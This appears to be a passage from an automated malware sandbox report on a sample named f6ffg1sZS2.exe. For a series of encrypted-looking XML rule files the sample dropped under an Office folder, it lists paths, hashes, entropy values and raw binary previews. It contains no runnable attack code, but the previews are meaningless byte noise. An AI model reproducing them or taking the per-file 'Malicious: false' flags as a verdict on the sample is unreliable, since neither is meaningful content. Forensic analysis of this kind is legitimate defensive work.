SHA-256:	95B2C577C2170A31D6E7151F4BB8B26EF8575277655FD0A19EC7348AE54B6F3D
SHA-512:	5CF94A40F6668E3A7A76BB26EF2CC62549BFBC735AF588764C89D503FFEA73021AB834A6DDC1172D616276D80EA98FBAF6E6F94C28EA85ADA8813B4B13722F2B
Malicious:	false
Preview:	.<?.c..-..'...Im"..\Jz.H...a.1.q.....d.89$.b0.L2D.\|u.......+..}.6J.PB..w.......V......_..w].P..>.&.E.._E\.t/.Ql....J......(..%....K..)..a...C....:...i.C..x..LL%5...:'3&.i.....z.x.t....:B.z...^...a..!I.B...n...\..]v8.2I..Q..m@...'..J..0Luw.B......e..........@....Eq. &.....d..u./...7.>.-.....K......x..P...#pO....R`...Ku:...\.d..ks.........._)S.=z=..a.N@.//.GT.[[...G..ZS..X.....O.<NH.2........RVmus...}i`..J..P...(%N.L4-0.Xt,.....E..<....e.{.&.Vx.W[j.R.U......!......%...?.72..Nsg..X.4......H.!.k.....i.(fY.PG.=I$......Nk5.A.B.+\|...x..{@uN .\..F...V.bhd..x..G..6.?Z.....g.DF.`O...A......x....Y.~#Q..]ul.UL......G.....\|`.b...jL.. ...m....MS...g..^..P.m..x...ay............c..=O.Ju.\.....!.er;JH.#I..c.Lu.C.a.Z..T.}..<..^B.......V............l...u.z......z..V\| ....E....W./K.L^.VL......N.Xu.b.u....D.{.....~f"....h......PT...g..m..R..`Heo$.....5...."..\..U.u.YRO.O....ce]#.C...)~s.GAq<..."...n........n.Q...Mm..!x.ed....N.......6..m..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.572267331396936
Encrypted:	false
SSDEEP:	12:9BVit3fB7rWbo4AyWTbLAo8gtaXDperpOzkSvJKAS2cii9a:FMljVT1nt8wrpqkSxKobD
MD5:	69F9E2750C5BA843732CE7BBB5C88A2C
SHA1:	CFCB739557D002C46709F2B4070D49522D004333
SHA-256:	34C8C8F2F39913BB1C88A66D10B822C9464A33F74653A34E3FE820C7185EDF61
SHA-512:	91FC6A27ACA0FBAFC5DC778C6E00341F11C7D7729CA62B1DB5E5211B3533F13EDCCA9C30646A9E5AF4864985D2860586B8BD3F85F491D83233393406A44F6B13
Malicious:	false
Preview:	.<?.}k.f.....v......m....G~.......%.9."....m....<....DjHv.8lD.<.vp).[....7.....T.S.dl.3.,5...+...+u.$...]@.jU.C..7.MZ.e.A].*..}.....r8.2......6.(1ui...?..`..F.5M..}T..C..0g.V.fd.t...?.^-.z.......H!.........n~..D.[..).M..lR.V...G...N?....aX.o(...X..N.;C..J.`....\.V.I.v.Q-....}..j.....cqb....T......>.K....T.._..d...;7.....>...f...d.5.....?......<m.d2.l.I.N6.l.b.i.mIC..c./..Z...;.T9.?...t....xl.a._"M....... ....E..d..`.]0._XE..j.....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.911483571410339
Encrypted:	false
SSDEEP:	48:aSTfh/Ott9SAVpvlrZ2hCIH+Hm1AKA67fpkPD:dfh/k9Sk5Zogm1o67fpkb
MD5:	DC2387410D44E69A031022D2ABB5CC57
SHA1:	908C7A096469648BFD2E68F4BA8F474F57540500
SHA-256:	84FAECB8A06780295E29938EE92776B8E0C184A5B2DBE0A328E83A219ACD40DB
SHA-512:	50362A0E00C828474378DD73559792454BA12999711F6E32ABD4FEE53A124D5D6161A78C07E12954C3D01D06196578A6B09C488F67DDDF98A46D20DAC6A88014
Malicious:	false
Preview:	.<?..-.m...&..2w...qj.X.G....4..W.-.d............Z.k....3.6..6...B\..mg.=.......Q..Rx..$....r.V..../.4......Nk:.(\|.3.z.....j.=4...7.....-.c...........1.!FM.~W. ]Ps.%."..S9.....A..P.M.y..`..W.../\..n.y....{hw....s.+&V+..vI..Tiv.....).....R=.P{Ph....K.....?aG?.~M%[...0.W.E.9..QS....@.\.szkbv...69.@...e.......R.Ab.6...Pi.. .W.3.e..L.1r....,.]...5..NyHquy.....<...c.$\.....FhQ5...j.h........x...z..4P.bI._...pF.E....W..@.I....{...'......Y.#...@]...D.Q'...#H!f.i.....0...R^.ZfUx..W.Q..H6..S..".A.vz)o........'yVC../....Y..sXH...[..d.a..M5..@.$.....Gu.;..?#'1.Ko.!.......NP..L.2....`.8x#.....=nq.x.7.?....lqu...5d]^.W(..js}=Jq;.}k.Qmh.Q.ONq..=tj...H$....l..=.EsI.!.A.I.Q...Jpf.....8#.@y...b.h..u*P..U...{-U.P).'!&..y.....\2..:..o.;.. ..m.vNQ...l.\...8@...i...clL...n.1E..?..g...)[>.........l.o...?.....n..@"..on........W...l......p..(......&..o.\|......1.z.Q.LwW[...........\."...M...U....i..+.N.hI.F..zW..."....e...@#....s.y...I.R}\.\|..`y..Y....)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.716673291866067
Encrypted:	false
SSDEEP:	12:sTgoLA92dVsmKjdzp3YwZRhz6hEs1AM58dkm8VCubbVW6/9nn4S2cii9a:Sgb9UV+xzpJRhK1mMGh8Xbb9nngbD
MD5:	13814668BF1E9523A33915F9A7D928B7
SHA1:	04FA370DB0F5D670379EEEBE1A02B87B12057EEB
SHA-256:	638814D32ADF9FEFB5A9066D25EF88B4611A4715422B8E5F574D65AA18E401AF
SHA-512:	85DE001F6EA90B3892061A76E8073FDA8099F66DE432E7D86086B406B70FA1EB32492384D1A9369EBB01EC21A59AEF2F3DA6A37726D91D97AA6FFAFA4E0D57C4
Malicious:	false
Preview:	.<?.....o....1O....iBj...).\..<W..B.NO..p.l\|.m.....Sr7..1.o......p.g.;!...c.2.+..;.......{....]a1..:..G....d...I....y]0^...S.....n.C.zi.D!h.a`....@uD...moxGr...}....= M..2.}... ."Z..k8#....}.......O. .w...c.j.p..E%.y...).....&5.^.TbO..}.w.iC.....7.uM.%.ER_S..EZ..e .....B./.Z......N2$....'...g!.....J./.v...b.G).C..f\|L..I.I..o.l.:..^......B.......$...\..Vc8.`!..s.O...2.....#.8)Eu.r............0;.].C.'........g.^W~q+.../...`...W4@h.h9cYB...T........X0..zG#y.5\|TMX^....#.5...hx.g.,.;..QE\dE..._HX...&$.Ql.D......7....R.~.ec...Kn.D....y...Nfa.N.:.H.1x.......f.[te.5......,{)...%...:h.g....@.8....wy>_..Z....a..O.`rS.......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.720476810550638
Encrypted:	false
SSDEEP:	24:f8CaemoM7EWS4ECJLvqBUiRDyanoKYzYlXWUGwJCUbD:0de9WSBEcRloKLlXHo+D
MD5:	D5859B7C2FE37CFC60E49F93D19B1ACA
SHA1:	121E780CBB7921D84DD52B5E205046F7571F5713
SHA-256:	420D54BC44CD436D233D841C2B9CBB20D423931424FFA8B2D2C593E7B1B2FB4C
SHA-512:	1CD100C843BBFA7DFC6102AEDB7F155D3907DD513C95EA08ED8EBFF56ADE8EAAB002D804BD445E9FEDA46C2175D10E2A40302079C3DF380702C204B71F1818DC
Malicious:	false
Preview:	.<?,5.m........z5\...[}....$..rAG._.~jh........).....x..PM.....]o(m$.+...N .4[...]k..-I.X..+.F.~.%b.......K...10..fQ.(i5...s...].\|..LC...p9.?.Y\.....l.,...V...`.b..A.w1.....\|...A..k.....\>W..z.s..c".\$Z...i.......cWD.7..f...;...K..8.i_^.`..gTl....qs..C.(d...p....e....s..."...........\|)...z!z...t.8...%J.....P.-D...y.So..v/.]c...b...<..o.I`..{T.%..A.S=.$........D.fV.7......x..d8A.{..'hH-./S.Ff...v.!..Z..).e,&...........yTG..Q.-....t.#-..F.B:...pc..."..D.8.y.u..n..{...c.S..0...6..(..F.mF...K.........>.....hJ...<.w..d.Q.?...\|...@.K..W03P....:%}!Q......Q..@..v..t..?.4F.....Y.F.B.v... x..r.td......y.......`X.%G....))rI..E.Kx%pyQ.1.'.$.Q..\|..k9.3.Sx..v..Oy.HB......x..$.....v.oh..D.;.A.Q...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.686681119178655
Encrypted:	false
SSDEEP:	12:zQ6b9/k8qbvUPUKGTT+E6+1p7KB4JiSanMbwF/nj0VNjTdHbuCiaKv5TS2cii9a:/TqbHZTX1pIfMbwFQ/dHvyv5zbD
MD5:	887E45AC6C0F2C1576EBA53E16CEBFF1
SHA1:	57F5B19EFFBF61C24177482FADE145A57E20C5C0
SHA-256:	85184F004122EB9F0F051E43E5D11E9F3450CC2C5AFCE71F85E0CFBAAA3BF21D
SHA-512:	204015EE67C42FE41AF3B429B6614460AF1A378B579B41CDE414012B508695FE2C7C704C5D5E6A1CED82E2217232961EE39DC15E4ECE416271486A66DFE8B935
Malicious:	false
Preview:	.<?!C..>.!w.[Y.$..W3.G.7.J...l,....FK......`..._..Ij`...F.......6A6#7.x....{.......l..R#.1GW.Em.x........ ..2.CM......&.ex..k.....s.?..I... p...I.....Y.....v......&1..,...:9mpVys..,l.t....Wn\|..6..\X..a`.x;.]...x..8...}.A......../<U..3..#y.3.GEa...Z........./.$k..%.B9..G.C..`......C..8~V.)k\| .f.)....:....8.EO.L..A.}..{...oQ...@....{@a...r%....l[.?.>.....w:f..7...I...r. nn.ymmD.r6.Fa.=8G.!...V...1.....F?&....?;..............E..a...uQ.....D...hH..S.o.........f..S...u......R...Jz..-...b0e..a..Wk.a.(9O.\>$.....&.).y.V6...r..u.j......V.O...w..E...'..Q..Vx...=.f;+0!$.WJ....e..UI.^=(u..........//.:sg.....R.,..8.....q.........\.bLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.686604450147957
Encrypted:	false
SSDEEP:	12:x8Ien0uyjxaKfHhqx4jImkLV0BRBzQZ6i12fkJ0pvifjgEbWSjvS2cii9a:+h03jF64jIT4zgOc0litf/bD
MD5:	C545AEE194F49C1DFCA3B504539677E3
SHA1:	B64DA8CFC48B35DAB606379426ABF9E0F873156E
SHA-256:	F6B3FE37A4CE10376BC91554BF347FA9832B351314C05D1C711B0CF27A77CAFF
SHA-512:	2C9162B5E79E1936DA19C8142F90AC0EB17D6B5CDD72190BCD0A9685395E74EA85D73579B22C9DD21798D211878877F9207AFA5FBE10158AF078CCF3BE3FCB54
Malicious:	false
Preview:	.<?.z.q......v......K.0....tv.<O.T!..n...T.s.(?..x.....la........4.h.."qB.............p5~dl.%I....c.7..-k.......l"c.XbSjL...WL..ic`X...v5.N`...B4=.N.....j ..eO\....&o..}......m..\|........E@H...g..ddS(.b..A....^.K.1<....y>E.E$..?..t........S...c7e&CW.....L..W.....~.qd.:..#..#....J..[.....a..n_..g~....gpZ$..A..!.5...}d....MmR.dg.C.".(T..w....K.eU....xZK.H..M..-....Cnj.!y4?.......G.t..K1o.g@!...;.b0D?m...l.o.CiHd...IPm..\|...[#....gy...~.2..F..#....}.D.U<T"....E...t9MPM..L~.\|..jyV..g..<U..)..x.U8.\h.Q.&9..\|..><!:HG.R.....k..wIR......o..IB..H..F.mcH...%#..". 3...y..:.`....%...gb...1C...&...O......8]......$.m.W.;.Y..S.%..N]:...J......N...1.......8..L....O.[..;m<-....(J.`5O..`..F.>.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.796893882932056
Encrypted:	false
SSDEEP:	24:MA7WfgxOYfwNOiS5pQ5Io7f+m6nGaM/uOV9BuqxFXs6bD:MAqfgYSx9Boz+t5M/Bvsq3D
MD5:	FACA1052BAC8286AECF49CB6332CE325
SHA1:	DC1440F73133365023365C6E171F658CD162C8C7
SHA-256:	B92F8D1BD7FEE9CDB50BD98F16EEB029EF0A1F92F217B7DE0767AD8E565DC91B
SHA-512:	8FB5FC5369A2C6E702C29D58C9F144CEC25C61D619926FBEB652B17435ED54942078CF15BE33260625971AC37BDF62F4DE0AF653DC405AB533D9D3D594A767ED
Malicious:	false
Preview:	.<?.!(.Z=.J9..3...Q?K..g...$.q`.b..o.k.A.3..-..._..}...6..fM.xu=......g...........j..-......,..0( ....%.h....Q/a....]..&.jq..9....U!.U`.D...p..!7..[... .#2:.%e.7._......^.d....)...6/SxO....gd.%.?.r."..@.P.v!...]V..(nX...T.r_..l.%T[...e...k.....p...?....I>.....@%...#a...E..M..k......3...N.;kV@..1...>J?n,.......-_......2zG$..b.;..Du8K-.+.z..r.`\..(.......j..0,..%d.5......uVx6.i.n.>N....4...@..~.....~...8.$..IM[.x.....".w..M.xB.."$.)....'$......;.p-L.Z..:V.DMt&........R...63.-.G=k..i}.Z<r!;.74....2.....sG.m.d..!...i..(.....l.Lg...h`vi1v..6.l.'....n5si....3#......+.W?.........".....@I...x{?...N.Un...EI...}s.J=m.)2n..q#..L7...9;../.U......P2.4...~..W....L......;..'.h..Ni...?.4`.0.+._x.....C....bi S:....Q..W.~.........4.W...v9.=....K.U .cDR...4....J...}..W.C...I. .<b.....m..l.M.k.....#.a...3./.n.....u....4P%^....2....h..V#..K....q.T....o8.kv.D..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.740756978194721
Encrypted:	false
SSDEEP:	24:YFGgDYSGyd60mcl+Ze0yztl+iaYDivUYdhbD:YFGeYSGydjlyryzqirIdxD
MD5:	5D70CF4D7C28F317704BD36AA874CD1D
SHA1:	1083BB6AF14F3341E14CC120484EAA561D8D1EB9
SHA-256:	68C023B990A8CE615EFA5676CA560001856013A7967BCC301DA436A80E7D32CA
SHA-512:	505E43912F1F2B78A18A3A3255E4C1ECF7479AE92CA680A40E8389DD9631A13B897DBEC5897AF08D7C9F42235AE0D40DEBC5507950D0EABF42BA760DDAFF751F
Malicious:	false
Preview:	.<?w.H.e.H.9...7...eh..%W.\._D.u.N..u......H...\5.U.x@...z0.......K^CX.o.u.P..Y.B....3.............#.D....+^L(.,.\|+.L.....H....T.:Hg:.B...f./.=......A2G...d.)9..=q]..$.n..M..X{...>.....?.F..x).x..vl.R?+..z....y..V?M.#.....p...;V).......2.KBl..5.. ...)n.P....).:.}Y....u9....o..'#y... .._.....a....z....~._......a..3Gfp.p.....s...w"........P.Q..'..XG_.`.6....!.M.q.H..=.....b...4.c.Ip...............vI.`...5....bKl...K...S..v.3.H..2glJ`$.k...T..e......h.......Z..}-\`....z.P9...9E.(.04\l}.iw.%J..~..I..f*..J..xHnB.z..N..p>......D.k.....).hV.....cIO.i...wa.#...x..)...X...g.1...C5.ak."<..#....I..q........r^.....J.C..54....S..?...^.t.q..n........(...+.........!.{.&Z.1.G.ilk..G...v..J..R.._X.F.t..F...jTC:?ceLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.700254161618931
Encrypted:	false
SSDEEP:	12:z3QuIPboeLujB8KVPRDsYsOsQNsoaSk+T8XZxhgkMkbJc7xS2cii9a:TGkeajNiAsQNBC+QThgkMiJc7JbD
MD5:	62823F0D8CF2743216531EB988DBB830
SHA1:	A19542D966AE9F8AD925BA970C6F58363F6E6481
SHA-256:	8B20A252EBE5929FB301DCFF65C3587CB58AE530E5852C292875EB5C71E0FF64
SHA-512:	437DB28B8CC52BF861D054C9C4398DB63FD82E7745B94F66DACE81025961760A34D3BA0F85AA386F21650509E5B47DA9CD2410C175257B4394A07A5AB7E35229
Malicious:	false
Preview:	.<?...Gi"9.3...Z..:Ky....Q../...N-.._6._..0...d=.9..V]..3....<....b.^`.....9........}..c!..T-..'.Y.ma.3....tM.......8K.I.}.M....-...c......F......O#=q...u_%..5_O..._4....M.lVT..9.,'.B...I......1..j...Z..N&.~#..K...B...\8..@....J$.x.c..=.Hv.IP..X.2.q.q..X6....`'x ....B..v}g.....o?vW...R.g.Tx.I.X...0.\|...v9.a.2..,..5 .....a..S.otj.K.K.:v..C..y.wf}.D.]..-...lW.m..Ez...... ...6r_......=..[b..G4qf......o.i6..B.f.9_..J..k....@R...........=&.L;Cn.....o..?D.E].p.?.e=4...SjjE.\?<.Xt.Q..X...\|.hc.2...(^~q..y...-{.&.u.D>.....u-..........0....3..2.".).x.>..S...@X..}gP2.s.!....U...W...^.W.".i.............}./.....y.R>. .n.K.4L.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.677783432066975
Encrypted:	false
SSDEEP:	12:AzUauRpURPy2Ryveo5ATL2tUT6y1L468z69x/LvM7euKDJUgkaif7OR93u6S2ciD:AzXRPd5oyTL2taLNk2vMSuU6U3u6bD
MD5:	B5521C9149526B2D637BD71784751662
SHA1:	3E9D1BB59C5019D819C7FFD79ED4F44AB4ECCE65
SHA-256:	F0EC836B9D51EA674AE855333FB9AE1FD8D5B90B2139CDC871A95535BDC8FCF1
SHA-512:	FA70626157CDA15FD244DF320D681FBFFFC7E50657B6DBEA3302588DBA33AA3E773A8ED098DA84C8B10BEA5B609FA69BF0F7B962762306EBA3557F6D09EBD779
Malicious:	false
Preview:	.<?..).#...M..L.P......-.ma.:.e.iQO.E.M.r)....9Ev....]_t.R.z..JbH.....'@.i.`1~aV..........t^LEf..V.eD.,...q.{t..=g%....a.....G..J...^......:.We[7.Z<..b.:>.=}.c.I.a.s.X\..a._;..:o!.....(..'d..d'wR......`e.i.......;..............j.7.im....g....KUn.4.F...=.5h.YgN..q..\|..tXwe0.hT1.....a..N..J^.tN.....~..M.g#......%....V.g.....C.'..a.Zc.A...0HI=.F#+I.u.C.?x.t.]........]@m1.J:'.E.n..{L..>..3o....S.f.>2......_...._..%i.I..Y."....hq...Fn=.r3..-J]..8...X...._..O....(..l.......M..Z..$Q...7...Bn...nv.\|.."..).R.z-......q._-..y.1..u..2......."U...q.....N.......H.2.....+...x...~W.w.;.WP]d..\6k..P.........H..I.`......~.w......(K.>FPft+..t8.....[..R.W.n6.v..4....{.".R&`u.WC......p.f5....l...d&{...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.717681494277286
Encrypted:	false
SSDEEP:	12:wApSPL/DpT5DqfrxoR+aqRIsg65gzbKrU+2Lrvs3NGlfUvgzTRecezAZwK/S2ciD:wTrpxq9T3IB65p4+2HvsdWCMX0AOKPbD
MD5:	86CBCA71F066CDE855B40DFB101E1F31
SHA1:	8E3F50AF53F0992B2067F5E9D343B58C2E7F3FF6
SHA-256:	FF936ED3586F45E2D32FF14AB2F4CD3F24BAD3457104EE8748C75CE8F6EFA116
SHA-512:	EE81E49037D7D43448AB8ED980B561C212B3B1738429BA38835C9F0C9DB15AC5BC1397C21F676B1D86831BDA3E43429B289E6811F9CC3E7FCF10E23A68C2B66F
Malicious:	false
Preview:	.<?H.-....g.0C.......#....qhkj....1j..s..Y.. $.E..I.r4...)6....L.0f'..q.xU..y.E.)4...%.i.C.;..........v@...K.R.e~...6e..d..X.`...q..\J....d..!)...#hJ....1....nB.G.B7......=.....@.....L..a@......k....\6......7.j(..7.~2J...Z...Y..x.3.Z.(c)...'..?._........Au......rT..............$.{.Y.-5N......e.T..qi..][..#..F..c9.-..X)gt....D.+...!......1....xG.k..A...O..^.8...z.`.. ON:.K)..].2.M...*..K6..but.k.p.G.D...7...P;9\p. ._....O..RnT...p......Wf....{y!....u.\hr$mU....5.qL........N..o...C9..W..S.l.e...7...n.....g..d(._.Sf...Pt(A.]s.Az,.X.Fm..1......K..6..2...-fEn~"A..!.U.<..H....?_CL}..5..[&..)...}...].....9.g..$.?9}..!.9...r....c&..5IL..ZLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.687173436454714
Encrypted:	false
SSDEEP:	24:OJrQpqk7LML01jXaoqKMmDgMnFysPEbL3bD:kQpqELu0jXMKMmDgUQJD
MD5:	6BE25F576B078191F324A140DB96554A
SHA1:	52D06CF9C7B8FAF889BBCD8A3973029ACBE1F5A4
SHA-256:	07A5B93748A383C3B8EF6EE2369C3FB6717F1DAC8FD9EC7CF470D87A82AB4611
SHA-512:	B29062E7A4262C1BFFC8257FA2BEDDD0412A57098FE35A8DB4F5AF29E5BDD1756D1855937AE3906D2E980D2CEEF87710CE7F5967C919B68BF3E3C2FF7BD5C95A
Malicious:	false
Preview:	.<? [ps..Ta....[.%h......\....$.A...}`b.....\|.k...3...w........./7.{D..5..._7...k.....'rOu..f...^.....uS.*-.O"..i....../Zy.q...L`....E.0......^1...IRy.Y.....p..9.`.6...f..).\s4[a4X..r\s._.g....U5A.#.<N..K6.....Z.....<K.i...b......!..z_..Q..$z.G.a..g~....[?........(s..M.1../</....r}yv..nX.!.z.5.YL".c.E...Y.....v.cp.....j..d.....%]..m.._.v.t...L....b..P./...'v31"r.D.s.t.?..!......te#....6T7d_...$.\Z.S..Q.)L0.5p.TI.Q.U...q(..gh...'..d.Q^`.X......4X.q.~x..Wz.^..W).......v{h4?..M..n<.'.Z.N....,....1..+.X....-7.9^..E.q{ .6......f......+OC..g.y?...............D..g.i.........\|OZ..EbqI...)v....o...@V...ZFS.+.0.....n.....?......2.M...S:f.Wy.....M....I..`..g....>.}./..^.>Ws....k...~.....e#.V.. .4....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.696188404864037
Encrypted:	false
SSDEEP:	12:/TFZXbCwlFqCYio1POXkn7WQRs05CtheI3OR6dGVo34P0l+wY+HIF/SaS2cii9a:/TLLhoCa9O4WQXoheIeRuGV6sIabD
MD5:	B6354368BACB6ABCFD394C9B45175BFB
SHA1:	2E5FFE7C5C909F95889A51E5FDA5E4B6BAECA7C2
SHA-256:	4D5D4E4B720FACEE67BDDC10F003360F721821859186C6021EA5D3EE21B7DA23
SHA-512:	6360AD95D828DF2030C0A6FEAB1B1A4A7C7EDD1D066017CD010297E713C65684B905B5B2DD7E0ACBBDFF0EEB97360AC4BB12352F00499DF8852150BED3EC044A
Malicious:	false
Preview:	.<?.eY..L.YR\|B....1.c.J[#:..Ym.j..[..$T.....=.....).o.....KgMD7.....z.1_.h-B-%u.....m.r.z#..VIfH>+.p.f&3...V.y.......`..K...x...t...!....Q.0W\>....Z....d.?...B....J..;........R^.w_W.H...w....e.yd.............5t@..S....].."c..q.u...ZnV&y.:..k.A.;...]. [....x..Us....X7.K.da..;..T...}...4.p...Ctd=?:..t......O.7...F_.U0\.x....}c..W-...5J.)L...........H.DX.}[...K..aY.Y...<..0.w}Z\$w..H.(..P...Pz9u...O{'.`....@.......l..{.?.P.....w.......#Pn%IY.....88$..e.j.....>q_.bd..q...%.z....._..yp...Yq..-B\|....[.[.ZV...`.#4.7.V..2.TT...i......Z....]..@.F.&..3@...y...2.k.W..............W......B.nQ.^......K.s;....6j..6>&......?.$u...k.#...~%..kw..ad...q..F.X. .8..*..7....D2.h._..\|A...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.743955520210206
Encrypted:	false
SSDEEP:	12:phNLRkeGhMdfSyqal+C25qcqoNZK2hZ9yS4/JtOfDA48q8Zl7AQRuPNS2cii9a:phNueGhM1SVa1YqoN02hZs8O0V9bD
MD5:	E51A2A0A04B065611A95004F49AFCCF3
SHA1:	2F6A7C472D57A2EF02D9AD5FEA21CEFFDB3F9402
SHA-256:	862E4A991E39AB81BA1937697A3F392C6E2BF1AD3A34552D17F4B6EABCCC590A
SHA-512:	F18BA4AC070F4A9EF9C97D6BF180BDE50187AE1D634C1AA845568F35868060126A706C5A0632B8D655DC117E7EE4A95DC36E36AFF8C3CBB5770F86A5415BA034
Malicious:	false
Preview:	.<?q.A)(..0.5mvz..:.C...z.^.pl\|...'t.u...PQ5.....O8.....Q.4..g.....C...x.v..a..8v.H....o;._.eIS2.4.4..g..>f....V..Og.$J.i..D.a<{......apU.8C$....u........\|{p..........k..p...Q.... ?l.Zpn./T..m(.~..m.HAoV.D.........!7h......3...).G..J.N$\.B..d.rV.v...7..._..i....:]yx....Q[.q.cl...l.C\.w..].._L.0.I}..............q.r^..~.V..).i._.3..= .NG..,.d.......AB_..88...:..\|.e....&..1......&....} ...:.......'.1.ey.N.\n.)=......7(...{_M.X..^.....Dy.$.....xf.....sI....n....6...Ih....f. ...vB.J..T.ly.t....0O..y........z..'..K>.N}R...(......\|T..........o....=B.......j..\|n.d..Y?-^`.H .....`....zj\...H.....u.J..*.b.6.K....!?....5.yy.,t..#.@gd...D.'.....h.AB@. ..b...+S\.`[C..#(..a...3..d....>.j.v2.go.=cs....'.n...M...X..p..'...~LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.900914494202833
Encrypted:	false
SSDEEP:	48:3lzwx/RUbfn9AuSfwGziMPt0oos+sAAe5DXvj01/qD:3lzu/Gf95SYGziMPt0oos+T5zn
MD5:	4928A2E9A2D3440E0247EB5A78C35718
SHA1:	1D67A73FF048095400EB9DC39CA97761778E5095
SHA-256:	220165139FB8C813DC7F111E1B02A9C0652C0F607261EBD779687BCB5A63FC5C
SHA-512:	F9C04184332D16F7C5DB6D120701E510D8C360DEC4B75D1C706791B63B5E04A3E5797F2CBB595B38A7AA70102630AAD7B01EBFF9411EDB2C9BDE98B6CA67D151
Malicious:	false
